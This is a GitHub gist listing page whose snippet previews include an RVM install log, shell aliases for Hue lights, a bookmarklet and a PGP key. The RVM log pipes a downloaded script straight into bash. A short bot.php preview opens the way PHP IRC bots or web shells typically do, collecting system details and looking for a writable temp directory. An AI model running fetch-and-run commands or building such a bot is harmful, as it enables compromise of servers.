Skip to content

Instantly share code, notes, and snippets.

💭
Independent contracting and consulting, starting August, 2019

Rick Bradley rick

💭
Independent contracting and consulting, starting August, 2019
Block or report user

Report or block rick

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@rick
rick / checkychecky.md
Created Nov 21, 2016
test markdown checkboxes
View checkychecky.md
  • this is a checklist
    • or is it a task list?
  • click this
  • test this
@rick
rick / rvm-jruby-1.7.13.txt
Last active Nov 9, 2015
ubuntu installation of jruby 1.7.13 via latest RVM
View rvm-jruby-1.7.13.txt
Last login: Tue Nov 3 09:00:18 2015 from c-68-53-142-130.hsd1.tn.comcast.net
Mon Nov 09 13:47:23 gampopa ~
# ▸ curl -sSL https://get.rvm.io | bash -s stable --ruby=jruby
Downloading https://github.com/rvm/rvm/archive/1.26.11.tar.gz
Downloading https://github.com/rvm/rvm/releases/download/1.26.11/1.26.11.tar.gz.asc
gpg: keyring `/root/.gnupg/pubring.gpg' created
gpg: Signature made Mon 30 Mar 2015 05:52:13 PM EDT using RSA key ID BF04FF17
gpg: requesting key BF04FF17 from hkp server keys.gnupg.net
gpg: /root/.gnupg/trustdb.gpg: trustdb created
gpg: key D39DC0E3: public key "Michal Papis (RVM signing) <mpapis@gmail.com>" imported
@rick
rick / hue.md
Last active Aug 29, 2015 — forked from jameswhite/hue.md
View hue.md
alias hue_blue='curl -s "http://10.255.2.251/cgi-bin/hue.cgi?user=jameswhite&action=all_on&color=blue"'
alias hue_cyan='curl -s "http://10.255.2.251/cgi-bin/hue.cgi?user=jameswhite&action=all_on&color=cyan"'
alias hue_green='curl -s "http://10.255.2.251/cgi-bin/hue.cgi?user=jameswhite&action=all_on&color=green"'
alias hue_indigo='curl -s "http://10.255.2.251/cgi-bin/hue.cgi?user=jameswhite&action=all_on&color=indigo"'
alias hue_lavender='curl -s "http://10.255.2.251/cgi-bin/hue.cgi?user=jameswhite&action=all_on&color=lavender"'
alias hue_orange='curl -s "http://10.255.2.251/cgi-bin/hue.cgi?user=jameswhite&action=all_on&color=orange"'
alias hue_pink='curl -s "http://10.255.2.251/cgi-bin/hue.cgi?user=jameswhite&action=all_on&color=pink"'
alias hue_red='curl -s "http://10.255.2.251/cgi-bin/hue.cgi?user=jameswhite&action=all_on&color=red"'
alias hue_white='curl -s "http://10.255.2.251/cgi-bin/hue.cgi?user=jameswhite&action=all_on"'
@rick
rick / read-this-to-github-md-checklist-item.bookmarklet
Created Apr 2, 2015
bookmarklet to create a github-markdown style (checked) checklist item for a link to the current page (pops up in a dialog to make cmd-c clipboard copying trivial)
View read-this-to-github-md-checklist-item.bookmarklet
javascript:(function(){window.prompt("Copy to clipboard: Ctrl+C, Enter", " - [x] [" + document.title + "](" + window.location.href + ")");})();
@rick
rick / rick.bradley@puppet.labs.com.gpg.pub
Created Mar 6, 2015
rick.bradley@puppetlabs.com PGP public key
View rick.bradley@puppet.labs.com.gpg.pub
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG/MacGPG2 v2.0.22 (Darwin)
Comment: GPGTools - https://gpgtools.org
mQINBFT030YBEADH1fAs3QwCFfN8mfEN+n8v/2nVuBz4aAj277AmNlNVPFw/GKO/
h1pSw/Wyl2bIF1VPoYdl1gQORyKnL0SvqiwlhmQZY9JC84BrwksLOgUkZdKmDcTG
FlJpAOyO4y8JFo8w3QjA7EA542xtXX3N6ljMJKL/FZfMwl9S8rJGgROWyUO6MX3s
UR7b2YTyfjdj6flL/tTQNwnpw7Mi6x/yVSdJKseo2H3nfQXb1YT3+Z48U1orK6y7
MGb0RkM+xAPruuNL/U2YjTDwTfbC7FOAWK8nBMwqKexMt5Lrx/gt5Kc+udKMQLvh
aYWQenVqHdUIZzhtaVXY3utvp8me5YixwFit4IrRXEZ6MLaxgerPuS8MmDyop6t9
View keybase.md

Keybase proof

I hereby claim:

  • I am rick on github.
  • I am rickbradley (https://keybase.io/rickbradley) on keybase.
  • I have a public key whose fingerprint is 2FC5 3B15 9F78 284D 5127 6735 1855 81A2 1529 F03C

To claim this, I am signing this object:

@rick
rick / README.md
Created Sep 25, 2014
Managing my boxen personal manifest out of my own personal dotfiles repository (instead of in some shared repo where I have to issue PRs to everyone in the company)
View README.md

I wanted to move from using a shared copy of my boxen personal manifest to using files managed out of my dotfiles repo. Instead of cutting a pull request every time I want to add a homebrew package to my laptop, I'm managing this like I manage the rest of my dotfiles -- just commit and go.

To do it, I am using a symlink:

% ln -s /Users/rick/.boxen-manifests /opt/boxen/repo/modules/people/manifests/rick

(It's also possible to just commit that symlink directly into the the org's boxen git repo at modules/people/manifests/rick.)

View sql.rb
# GitHub::SQL - a helping hand for SQL in a rails app.
#
# Built for MySQL, adaptations and updates welcome.
#
# Authors/maintainers: @jbarnette, @zerowidth, et. al.
#
# The MIT License (MIT)
#
# Copyright (c) 2014 GitHub, Inc.
#
View gist:14ef19cc9848fe45781b
View bot.php
<?php
set_time_limit(0);
error_reporting(0);
$dir = getcwd();
$uname= @php_uname();
function whereistmP()
{
$uploadtmp=ini_get('upload_tmp_dir');
You can’t perform that action at this time.